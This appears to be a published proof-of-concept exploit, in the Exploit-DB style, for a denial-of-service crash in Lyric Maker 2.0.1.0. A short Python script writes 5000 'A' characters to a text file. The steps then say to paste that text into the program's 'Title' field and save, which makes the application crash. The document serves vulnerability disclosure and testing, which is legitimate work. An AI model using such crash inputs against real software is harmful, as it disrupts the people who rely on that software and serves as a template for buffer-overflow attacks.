Lyric Maker 2.0.1.0 - Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: Lyric Maker 2.0.1.0 - Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.jetaudio.com/
# Software Link http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/JAD8107_BASIC.exe
# Version: 2.0.1.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "LyricMaker.py", it will create a new file "LyricMaker.txt"
# 2.- Copy the text from the generated LyricMaker.txt file to clipboard
# 3.- Open JetLyric.exe or Lyric Maker
# 4.- Paste clipboard in in the field "Title"
# 5.- Go to file -> Save Lyric...
# 6.- Save the file with any name, e.g 'sample.jlr'
# 7.- Crashed

buffer = "\x41" * 5000
f = open ("LyricMaker.txt", "w")
f.write(buffer)
f.close()